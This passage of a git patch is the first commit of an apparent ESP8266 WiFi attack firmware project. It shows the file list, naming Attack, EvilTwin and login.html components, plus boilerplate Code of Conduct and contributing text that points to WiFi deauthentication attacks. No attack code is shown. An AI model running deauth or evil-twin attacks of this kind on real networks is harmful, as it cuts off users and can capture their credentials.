From 1562bb2721568a96e91cc79d02fe21839a960d34 Mon Sep 17 00:00:00 2001 From: Dx4 Date: Wed, 29 Nov 2023 06:55:28 +0700 Subject: [PATCH] First Commit --- .github/CODE_OF_CONDUCT.md | 47 + .github/CONTRIBUTING.md | 95 + .github/FUNDING.yml | 12 + .github/ISSUE_TEMPLATE.md | 6 + .github/ISSUE_TEMPLATE/1--error-report.md | 45 + .github/ISSUE_TEMPLATE/2--question.md | 11 + .github/ISSUE_TEMPLATE/3--feature-request.md | 24 + .github/ISSUE_TEMPLATE/4--bug-report.md | 34 + .github/ISSUE_TEMPLATE/5--documentation.md | 18 + .github/config.yml | 15 + .github/stale.yml | 19 + .github/workflows/nightly.yml | 21 + .gitignore | 12 + LICENSE | 23 + README.md | 38 + Reset_Sketch/README.md | 14 + Reset_Sketch/Reset_Sketch.ino | 47 + arduino-cli.yaml | 4 + esp8266_wifitools/.vscode/arduino.json | 6 + .../.vscode/c_cpp_properties.json | 278 + esp8266_wifitools/.vscode/settings.json | 6 + esp8266_wifitools/A_config.h | 746 + esp8266_wifitools/Accesspoints.cpp | 314 + esp8266_wifitools/Accesspoints.h | 80 + esp8266_wifitools/Attack.cpp | 473 + esp8266_wifitools/Attack.h | 204 + esp8266_wifitools/CLI.cpp | 1280 + esp8266_wifitools/CLI.h | 89 + esp8266_wifitools/DisplayUI.cpp | 1161 + esp8266_wifitools/DisplayUI.h | 679 + esp8266_wifitools/EEPROMHelper.h | 62 + esp8266_wifitools/EvilTwin.cpp | 32 + esp8266_wifitools/EvilTwin.h | 23 + esp8266_wifitools/Names.cpp | 519 + esp8266_wifitools/Names.h | 101 + esp8266_wifitools/SSIDs.cpp | 322 + esp8266_wifitools/SSIDs.h | 84 + esp8266_wifitools/Scan.cpp | 476 + esp8266_wifitools/Scan.h | 96 + esp8266_wifitools/SimpleList.h | 515 + esp8266_wifitools/Stations.cpp | 373 + esp8266_wifitools/Stations.h | 97 + esp8266_wifitools/data/web/LICENSE.gz | Bin 0 -> 695 bytes esp8266_wifitools/data/web/attack.html.gz | Bin 0 -> 1507 bytes esp8266_wifitools/data/web/index.html.gz | Bin 0 -> 1029 bytes esp8266_wifitools/data/web/info.html.gz | Bin 0 -> 2102 bytes esp8266_wifitools/data/web/js/attack.js.gz | Bin 0 -> 541 bytes esp8266_wifitools/data/web/js/scan.js.gz | Bin 0 -> 2356 bytes esp8266_wifitools/data/web/js/settings.js.gz | Bin 0 -> 729 bytes esp8266_wifitools/data/web/js/site.js.gz | Bin 0 -> 1166 bytes esp8266_wifitools/data/web/js/ssids.js.gz | Bin 0 -> 1039 bytes esp8266_wifitools/data/web/lang/cn.lang.gz | Bin 0 -> 2985 bytes esp8266_wifitools/data/web/lang/cs.lang.gz | Bin 0 -> 2878 bytes esp8266_wifitools/data/web/lang/da.lang.gz | Bin 0 -> 2881 bytes esp8266_wifitools/data/web/lang/de.lang.gz | Bin 0 -> 3056 bytes esp8266_wifitools/data/web/lang/en.lang.gz | Bin 0 -> 2831 bytes esp8266_wifitools/data/web/lang/es.lang.gz | Bin 0 -> 3187 bytes esp8266_wifitools/data/web/lang/fi.lang.gz | Bin 0 -> 2919 bytes esp8266_wifitools/data/web/lang/fr.lang.gz | Bin 0 -> 3202 bytes esp8266_wifitools/data/web/lang/hu.lang.gz | Bin 0 -> 3473 bytes esp8266_wifitools/data/web/lang/in.lang.gz | Bin 0 -> 2917 bytes esp8266_wifitools/data/web/lang/it.lang.gz | Bin 0 -> 3049 bytes esp8266_wifitools/data/web/lang/ja.lang.gz | Bin 0 -> 3260 bytes esp8266_wifitools/data/web/lang/ko.lang.gz | Bin 0 -> 3245 bytes esp8266_wifitools/data/web/lang/nl.lang.gz | Bin 0 -> 3123 bytes esp8266_wifitools/data/web/lang/pl.lang.gz | Bin 0 -> 3343 bytes esp8266_wifitools/data/web/lang/pt-br.lang.gz | Bin 0 -> 3124 bytes esp8266_wifitools/data/web/lang/ptbr.lang.gz | Bin 0 -> 3130 bytes esp8266_wifitools/data/web/lang/ro.lang.gz | Bin 0 -> 3193 bytes esp8266_wifitools/data/web/lang/ru.lang.gz | Bin 0 -> 3903 bytes esp8266_wifitools/data/web/lang/th.lang.gz | Bin 0 -> 3761 bytes esp8266_wifitools/data/web/lang/tlh.lang.gz | Bin 0 -> 2710 bytes esp8266_wifitools/data/web/lang/uk.lang.gz | Bin 0 -> 3905 bytes esp8266_wifitools/data/web/scan.html.gz | Bin 0 -> 1252 bytes esp8266_wifitools/data/web/settings.html.gz | Bin 0 -> 940 bytes esp8266_wifitools/data/web/ssids.html.gz | Bin 0 -> 1207 bytes esp8266_wifitools/data/web/style.css.gz | Bin 0 -> 1781 bytes esp8266_wifitools/debug.h | 41 + esp8266_wifitools/esp8266_wifitools.ino | 199 + esp8266_wifitools/functions.h | 831 + esp8266_wifitools/language.h | 702 + esp8266_wifitools/led.cpp | 135 + esp8266_wifitools/led.h | 19 + esp8266_wifitools/oui.h | 39802 ++++++++++++++++ esp8266_wifitools/settings.cpp | 323 + esp8266_wifitools/settings.h | 134 + .../Adafruit_DotStar.cpp | 638 + .../Adafruit_DotStar-1.1.4/Adafruit_DotStar.h | 211 + .../src/Adafruit_DotStar-1.1.4/license.txt | 674 + .../Adafruit_NeoPixel.cpp | 2601 + .../Adafruit_NeoPixel.h | 366 + .../src/Adafruit_NeoPixel-1.7.0/COPYING | 165 + .../src/Adafruit_NeoPixel-1.7.0/esp8266.c | 86 + .../src/ArduinoJson-v5.13.5/ArduinoJson.h | 3429 ++ esp8266_wifitools/src/DS3231-1.0.3/DS3231.cpp | 738 + esp8266_wifitools/src/DS3231-1.0.3/DS3231.h | 183 + esp8266_wifitools/src/DS3231-1.0.3/LICENSE | 24 + .../src/SimpleButton/Buttons/AnalogStick.cpp | 139 + .../src/SimpleButton/Buttons/AnalogStick.h | 53 + .../src/SimpleButton/Buttons/Button.cpp | 319 + .../src/SimpleButton/Buttons/Button.h | 111 + .../src/SimpleButton/Buttons/ButtonAnalog.cpp | 77 + .../src/SimpleButton/Buttons/ButtonAnalog.h | 37 + .../Buttons/ButtonGPIOExpander.cpp | 55 + .../SimpleButton/Buttons/ButtonGPIOExpander.h | 32 + .../src/SimpleButton/Buttons/ButtonPullup.cpp | 28 + .../src/SimpleButton/Buttons/ButtonPullup.h | 20 + .../Buttons/ButtonPullupGPIOExpander.cpp | 29 + .../Buttons/ButtonPullupGPIOExpander.h | 20 + .../src/SimpleButton/Buttons/PS2Gamepad.cpp | 400 + .../src/SimpleButton/Buttons/PS2Gamepad.h | 93 + .../SimpleButton/Buttons/RotaryEncoder.cpp | 172 + .../src/SimpleButton/Buttons/RotaryEncoder.h | 71 + .../SimpleButton/Buttons/RotaryEncoderI2C.cpp | 276 + .../SimpleButton/Buttons/RotaryEncoderI2C.h | 92 + .../src/SimpleButton/Buttons/Switch.cpp | 63 + .../src/SimpleButton/Buttons/Switch.h | 36 + .../src/SimpleButton/Events/ClickEvent.cpp | 28 + .../src/SimpleButton/Events/ClickEvent.h | 22 + .../SimpleButton/Events/DoubleclickEvent.cpp | 34 + .../SimpleButton/Events/DoubleclickEvent.h | 24 + .../src/SimpleButton/Events/Event.cpp | 34 + .../src/SimpleButton/Events/Event.h | 30 + .../src/SimpleButton/Events/HoldEvent.cpp | 23 + .../src/SimpleButton/Events/HoldEvent.h | 19 + .../src/SimpleButton/Events/PushEvent.cpp | 18 + .../src/SimpleButton/Events/PushEvent.h | 16 + .../src/SimpleButton/Events/ReleaseEvent.cpp | 18 + .../src/SimpleButton/Events/ReleaseEvent.h | 16 + esp8266_wifitools/src/SimpleButton/LICENSE | 21 + .../src/SimpleButton/SimpleButton.h | 15 + .../src/SimpleButton/libs/GPIOExpander.cpp | 54 + .../src/SimpleButton/libs/GPIOExpander.h | 37 + .../src/SimpleButton/libs/MCP23017.cpp | 173 + .../src/SimpleButton/libs/MCP23017.h | 46 + .../src/SimpleButton/libs/PCF8574.cpp | 76 + .../src/SimpleButton/libs/PCF8574.h | 28 + .../src/SimpleButton/libs/PCF8575.cpp | 62 + .../src/SimpleButton/libs/PCF8575.h | 28 + .../OLEDDisplay.cpp | 1022 + .../esp8266-oled-ssd1306-4.1.0/OLEDDisplay.h | 373 + .../OLEDDisplayFonts.h | 1278 + .../OLEDDisplayUi.cpp | 469 + .../OLEDDisplayUi.h | 312 + .../src/esp8266-oled-ssd1306-4.1.0/README.md | 419 + .../src/esp8266-oled-ssd1306-4.1.0/SH1106.h | 39 + .../esp8266-oled-ssd1306-4.1.0/SH1106Brzo.h | 141 + .../esp8266-oled-ssd1306-4.1.0/SH1106Spi.h | 135 + .../esp8266-oled-ssd1306-4.1.0/SH1106Wire.h | 160 + .../src/esp8266-oled-ssd1306-4.1.0/SSD1306.h | 39 + .../esp8266-oled-ssd1306-4.1.0/SSD1306Brzo.h | 162 + .../esp8266-oled-ssd1306-4.1.0/SSD1306I2C.h | 152 + .../esp8266-oled-ssd1306-4.1.0/SSD1306Spi.h | 163 + .../esp8266-oled-ssd1306-4.1.0/SSD1306Wire.h | 188 + .../src/esp8266-oled-ssd1306-4.1.0/license | 24 + esp8266_wifitools/src/my92xx-3.0.3/LICENSE | 675 + esp8266_wifitools/src/my92xx-3.0.3/my92xx.cpp | 221 + esp8266_wifitools/src/my92xx-3.0.3/my92xx.h | 123 + esp8266_wifitools/webfiles.h | 93 + esp8266_wifitools/wifi.cpp | 525 + esp8266_wifitools/wifi.h | 24 + pcb_kicad/wifitools/fp-info-cache | 694 + pcb_kicad/wifitools/fp-lib-table | 4 + .../wifitools-2023-11-28_191237.zip | Bin 0 -> 10923 bytes .../wifitools-2023-11-28_192346.zip | Bin 0 -> 13782 bytes .../wifitools-2023-11-28_193110.zip | Bin 0 -> 14958 bytes .../wifitools-2023-11-28_194126.zip | Bin 0 -> 14546 bytes .../wifitools-2023-11-28_195503.zip | Bin 0 -> 15462 bytes .../wifitools-2023-11-28_200524.zip | Bin 0 -> 17830 bytes pcb_kicad/wifitools/wifitools.kicad_pcb | 501 + pcb_kicad/wifitools/wifitools.kicad_prl | 77 + pcb_kicad/wifitools/wifitools.kicad_pro | 474 + pcb_kicad/wifitools/wifitools.kicad_sch | 5 + serialcommands.md | 337 + settings.md | 158 + utils/arduino-cli-compile.py | 74 + utils/old_web_converter/convert_all.sh | 57 + utils/old_web_converter/data_h_temp | 2 + utils/old_web_converter/login.html | 111 + utils/vendor_list_updater/README.md | 5 + utils/vendor_list_updater/update_manuf.py | 144 + .../css_html_js_minify/__init__.py | 31 + .../css_html_js_minify/css_minifier.py | 344 + .../css_html_js_minify/html_minifier.py | 157 + .../css_html_js_minify/js_minifier.py | 184 + .../css_html_js_minify/minify.py | 312 + .../css_html_js_minify/variables.py | 213 + utils/web_converter/readme.md | 13 + utils/web_converter/webConverter.py | 250 + webConverter/attack.html | 129 + webConverter/attack.js | 55 + webConverter/convert.sh | 11 + webConverter/data.h | 1 + web_interface/attack.html | 129 + web_interface/attack.json | 1 + web_interface/index.html | 254 + web_interface/info.html | 121 + web_interface/js/attack.js | 55 + web_interface/js/scan.js | 296 + web_interface/js/settings.js | 54 + web_interface/js/site.js | 126 + web_interface/js/ssids.js | 107 + web_interface/lang/cn.lang | 74 + web_interface/lang/cs.lang | 75 + web_interface/lang/da.lang | 74 + web_interface/lang/de.lang | 74 + web_interface/lang/en.lang | 74 + web_interface/lang/es.lang | 74 + web_interface/lang/fi.lang | 74 + web_interface/lang/fr.lang | 74 + web_interface/lang/hu.lang | 74 + web_interface/lang/in.lang | 74 + web_interface/lang/it.lang | 74 + web_interface/lang/ja.lang | 74 + web_interface/lang/ko.lang | 74 + web_interface/lang/nl.lang | 74 + web_interface/lang/pl.lang | 73 + web_interface/lang/ptbr.lang | 74 + web_interface/lang/ro.lang | 74 + web_interface/lang/ru.lang | 74 + web_interface/lang/th.lang | 74 + web_interface/lang/tlh.lang | 74 + web_interface/lang/uk.lang | 74 + web_interface/login.html | 111 + web_interface/names.json | 26 + web_interface/run | 1 + web_interface/scan.html | 120 + web_interface/scan.json | 97 + web_interface/settings.html | 68 + web_interface/settings.json | 29 + web_interface/ssids.html | 120 + web_interface/ssids.json | 305 + web_interface/style.css | 470 + 233 files changed, 77871 insertions(+) create mode 100644 .github/CODE_OF_CONDUCT.md create mode 100644 .github/CONTRIBUTING.md create mode 100644 .github/FUNDING.yml create mode 100644 .github/ISSUE_TEMPLATE.md create mode 100644 .github/ISSUE_TEMPLATE/1--error-report.md create mode 100644 .github/ISSUE_TEMPLATE/2--question.md create mode 100644 .github/ISSUE_TEMPLATE/3--feature-request.md create mode 100644 .github/ISSUE_TEMPLATE/4--bug-report.md create mode 100644 .github/ISSUE_TEMPLATE/5--documentation.md create mode 100644 .github/config.yml create mode 100644 .github/stale.yml create mode 100644 .github/workflows/nightly.yml create mode 100644 .gitignore create mode 100644 LICENSE create mode 100644 README.md create mode 100644 Reset_Sketch/README.md create mode 100644 Reset_Sketch/Reset_Sketch.ino create mode 100644 arduino-cli.yaml create mode 100644 esp8266_wifitools/.vscode/arduino.json create mode 100644 esp8266_wifitools/.vscode/c_cpp_properties.json create mode 100644 esp8266_wifitools/.vscode/settings.json create mode 100644 esp8266_wifitools/A_config.h create mode 100644 esp8266_wifitools/Accesspoints.cpp create mode 100644 esp8266_wifitools/Accesspoints.h create mode 100644 esp8266_wifitools/Attack.cpp create mode 100644 esp8266_wifitools/Attack.h create mode 100644 esp8266_wifitools/CLI.cpp create mode 100644 esp8266_wifitools/CLI.h create mode 100644 esp8266_wifitools/DisplayUI.cpp create mode 100644 esp8266_wifitools/DisplayUI.h create mode 100644 esp8266_wifitools/EEPROMHelper.h create mode 100644 esp8266_wifitools/EvilTwin.cpp create mode 100644 esp8266_wifitools/EvilTwin.h create mode 100644 esp8266_wifitools/Names.cpp create mode 100644 esp8266_wifitools/Names.h create mode 100644 esp8266_wifitools/SSIDs.cpp create mode 100644 esp8266_wifitools/SSIDs.h create mode 100644 esp8266_wifitools/Scan.cpp create mode 100644 esp8266_wifitools/Scan.h create mode 100644 esp8266_wifitools/SimpleList.h create mode 100644 esp8266_wifitools/Stations.cpp create mode 100644 esp8266_wifitools/Stations.h create mode 100644 esp8266_wifitools/data/web/LICENSE.gz create mode 100644 esp8266_wifitools/data/web/attack.html.gz create mode 100644 esp8266_wifitools/data/web/index.html.gz create mode 100644 esp8266_wifitools/data/web/info.html.gz create mode 100644 esp8266_wifitools/data/web/js/attack.js.gz create mode 100644 esp8266_wifitools/data/web/js/scan.js.gz create mode 100644 esp8266_wifitools/data/web/js/settings.js.gz create mode 100644 esp8266_wifitools/data/web/js/site.js.gz create mode 100644 esp8266_wifitools/data/web/js/ssids.js.gz create mode 100644 esp8266_wifitools/data/web/lang/cn.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/cs.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/da.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/de.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/en.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/es.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/fi.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/fr.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/hu.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/in.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/it.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/ja.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/ko.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/nl.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/pl.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/pt-br.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/ptbr.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/ro.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/ru.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/th.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/tlh.lang.gz create mode 100644 esp8266_wifitools/data/web/lang/uk.lang.gz create mode 100644 esp8266_wifitools/data/web/scan.html.gz create mode 100644 esp8266_wifitools/data/web/settings.html.gz create mode 100644 esp8266_wifitools/data/web/ssids.html.gz create mode 100644 esp8266_wifitools/data/web/style.css.gz create mode 100644 esp8266_wifitools/debug.h create mode 100644 esp8266_wifitools/esp8266_wifitools.ino create mode 100644 esp8266_wifitools/functions.h create mode 100644 esp8266_wifitools/language.h create mode 100644 esp8266_wifitools/led.cpp create mode 100644 esp8266_wifitools/led.h create mode 100644 esp8266_wifitools/oui.h create mode 100644 esp8266_wifitools/settings.cpp create mode 100644 esp8266_wifitools/settings.h create mode 100644 esp8266_wifitools/src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.cpp create mode 100644 esp8266_wifitools/src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.h create mode 100644 esp8266_wifitools/src/Adafruit_DotStar-1.1.4/license.txt create mode 100644 esp8266_wifitools/src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.cpp create mode 100644 esp8266_wifitools/src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.h create mode 100644 esp8266_wifitools/src/Adafruit_NeoPixel-1.7.0/COPYING create mode 100644 esp8266_wifitools/src/Adafruit_NeoPixel-1.7.0/esp8266.c create mode 100644 esp8266_wifitools/src/ArduinoJson-v5.13.5/ArduinoJson.h create mode 100644 esp8266_wifitools/src/DS3231-1.0.3/DS3231.cpp create mode 100644 esp8266_wifitools/src/DS3231-1.0.3/DS3231.h create mode 100644 esp8266_wifitools/src/DS3231-1.0.3/LICENSE create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/AnalogStick.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/AnalogStick.h create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/Button.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/Button.h create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/ButtonAnalog.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/ButtonAnalog.h create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/ButtonGPIOExpander.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/ButtonGPIOExpander.h create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/ButtonPullup.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/ButtonPullup.h create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/ButtonPullupGPIOExpander.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/ButtonPullupGPIOExpander.h create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/PS2Gamepad.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/PS2Gamepad.h create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/RotaryEncoder.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/RotaryEncoder.h create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/RotaryEncoderI2C.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/RotaryEncoderI2C.h create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/Switch.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Buttons/Switch.h create mode 100644 esp8266_wifitools/src/SimpleButton/Events/ClickEvent.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Events/ClickEvent.h create mode 100644 esp8266_wifitools/src/SimpleButton/Events/DoubleclickEvent.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Events/DoubleclickEvent.h create mode 100644 esp8266_wifitools/src/SimpleButton/Events/Event.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Events/Event.h create mode 100644 esp8266_wifitools/src/SimpleButton/Events/HoldEvent.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Events/HoldEvent.h create mode 100644 esp8266_wifitools/src/SimpleButton/Events/PushEvent.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Events/PushEvent.h create mode 100644 esp8266_wifitools/src/SimpleButton/Events/ReleaseEvent.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/Events/ReleaseEvent.h create mode 100644 esp8266_wifitools/src/SimpleButton/LICENSE create mode 100644 esp8266_wifitools/src/SimpleButton/SimpleButton.h create mode 100644 esp8266_wifitools/src/SimpleButton/libs/GPIOExpander.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/libs/GPIOExpander.h create mode 100644 esp8266_wifitools/src/SimpleButton/libs/MCP23017.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/libs/MCP23017.h create mode 100644 esp8266_wifitools/src/SimpleButton/libs/PCF8574.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/libs/PCF8574.h create mode 100644 esp8266_wifitools/src/SimpleButton/libs/PCF8575.cpp create mode 100644 esp8266_wifitools/src/SimpleButton/libs/PCF8575.h create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplay.cpp create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplay.h create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplayFonts.h create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplayUi.cpp create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplayUi.h create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/README.md create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/SH1106.h create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/SH1106Brzo.h create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/SH1106Spi.h create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/SH1106Wire.h create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/SSD1306.h create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/SSD1306Brzo.h create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/SSD1306I2C.h create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/SSD1306Spi.h create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/SSD1306Wire.h create mode 100644 esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/license create mode 100644 esp8266_wifitools/src/my92xx-3.0.3/LICENSE create mode 100644 esp8266_wifitools/src/my92xx-3.0.3/my92xx.cpp create mode 100644 esp8266_wifitools/src/my92xx-3.0.3/my92xx.h create mode 100644 esp8266_wifitools/webfiles.h create mode 100644 esp8266_wifitools/wifi.cpp create mode 100644 esp8266_wifitools/wifi.h create mode 100644 pcb_kicad/wifitools/fp-info-cache create mode 100644 pcb_kicad/wifitools/fp-lib-table create mode 100644 pcb_kicad/wifitools/wifitools-backups/wifitools-2023-11-28_191237.zip create mode 100644 pcb_kicad/wifitools/wifitools-backups/wifitools-2023-11-28_192346.zip create mode 100644 pcb_kicad/wifitools/wifitools-backups/wifitools-2023-11-28_193110.zip create mode 100644 pcb_kicad/wifitools/wifitools-backups/wifitools-2023-11-28_194126.zip create mode 100644 pcb_kicad/wifitools/wifitools-backups/wifitools-2023-11-28_195503.zip create mode 100644 pcb_kicad/wifitools/wifitools-backups/wifitools-2023-11-28_200524.zip create mode 100644 pcb_kicad/wifitools/wifitools.kicad_pcb create mode 100644 pcb_kicad/wifitools/wifitools.kicad_prl create mode 100644 pcb_kicad/wifitools/wifitools.kicad_pro create mode 100644 pcb_kicad/wifitools/wifitools.kicad_sch create mode 100644 serialcommands.md create mode 100644 settings.md create mode 100644 utils/arduino-cli-compile.py create mode 100644 utils/old_web_converter/convert_all.sh create mode 100644 utils/old_web_converter/data_h_temp create mode 100755 utils/old_web_converter/login.html create mode 100644 utils/vendor_list_updater/README.md create mode 100644 utils/vendor_list_updater/update_manuf.py create mode 100644 utils/web_converter/css_html_js_minify/__init__.py create mode 100644 utils/web_converter/css_html_js_minify/css_minifier.py create mode 100644 utils/web_converter/css_html_js_minify/html_minifier.py create mode 100644 utils/web_converter/css_html_js_minify/js_minifier.py create mode 100644 utils/web_converter/css_html_js_minify/minify.py create mode 100644 utils/web_converter/css_html_js_minify/variables.py create mode 100644 utils/web_converter/readme.md create mode 100644 utils/web_converter/webConverter.py create mode 100644 webConverter/attack.html create mode 100644 webConverter/attack.js create mode 100755 webConverter/convert.sh create mode 100644 webConverter/data.h create mode 100644 web_interface/attack.html create mode 100644 web_interface/attack.json create mode 100644 web_interface/index.html create mode 100644 web_interface/info.html create mode 100644 web_interface/js/attack.js create mode 100644 web_interface/js/scan.js create mode 100644 web_interface/js/settings.js create mode 100644 web_interface/js/site.js create mode 100644 web_interface/js/ssids.js create mode 100644 web_interface/lang/cn.lang create mode 100644 web_interface/lang/cs.lang create mode 100644 web_interface/lang/da.lang create mode 100644 web_interface/lang/de.lang create mode 100644 web_interface/lang/en.lang create mode 100644 web_interface/lang/es.lang create mode 100644 web_interface/lang/fi.lang create mode 100644 web_interface/lang/fr.lang create mode 100644 web_interface/lang/hu.lang create mode 100644 web_interface/lang/in.lang create mode 100644 web_interface/lang/it.lang create mode 100644 web_interface/lang/ja.lang create mode 100644 web_interface/lang/ko.lang create mode 100644 web_interface/lang/nl.lang create mode 100644 web_interface/lang/pl.lang create mode 100644 web_interface/lang/ptbr.lang create mode 100644 web_interface/lang/ro.lang create mode 100644 web_interface/lang/ru.lang create mode 100644 web_interface/lang/th.lang create mode 100644 web_interface/lang/tlh.lang create mode 100644 web_interface/lang/uk.lang create mode 100755 web_interface/login.html create mode 100644 web_interface/names.json create mode 100644 web_interface/run create mode 100644 web_interface/scan.html create mode 100644 web_interface/scan.json create mode 100644 web_interface/settings.html create mode 100644 web_interface/settings.json create mode 100644 web_interface/ssids.html create mode 100644 web_interface/ssids.json create mode 100644 web_interface/style.css diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..0d07494 --- /dev/null +++ b/.github/CODE_OF_CONDUCT.md @@ -0,0 +1,47 @@ +# Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, OS choice, favourite programming language (especially if it's JavaScript), nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* Calling this project a "Jammer" +* The use of sexualized language or imagery and unwelcome sexual attention or advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a professional setting such as promoting chicken foodism + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at mail@spacehuhn.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md new file mode 100644 index 0000000..d51cf32 --- /dev/null +++ b/.github/CONTRIBUTING.md @@ -0,0 +1,95 @@ +# Request for contributions + +Please contribute to this repository if any of the following is true: +- You have expertise in Arduino/ESP8266 development, WiFi, or C/C++ +- You want to help lower the burden to first time contributors +- You want this open source community to be more collaborative and inclusive + +# How to contribute + +Prerequisites: + +- Familiarity with [pull requests](https://help.github.com/articles/using-pull-requests) and [issues](https://guides.github.com/features/issues/). +- Knowledge of [Markdown](https://help.github.com/articles/markdown-basics/) for editing `.md` documents. +- Knowledge of [WiFi Deauth](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) for understanding the project. + +In particular, this community seeks the following types of contributions: + +- **Ideas**: participate in an issue thread or start your own to have your voice +heard. +- **Resources**: submit a pull request to add to RESOURCES.md with links to related content. +- **Outline sections**: help us ensure that this repository is comprehensive. if +there is a topic that is overlooked, please add it, even if it is just a stub +in the form of a header and single sentence. Initially, most things fall into +this category. +- **Writing**: contribute your expertise in an area by helping us expand the included +content. +- **Copy editing**: fix typos, clarify language, and generally improve the quality +of the content. +- **Formatting**: help keep content easy to read with consistent formatting. + + +## Bug reports + +A bug is a _demonstrable problem_ that is caused by the code in the repository. +Good bug reports are extremely helpful - thank you! + +Guidelines for bug reports: + +1. **Use the GitHub issue search** — check if the issue has already been + reported. + +2. **Check if 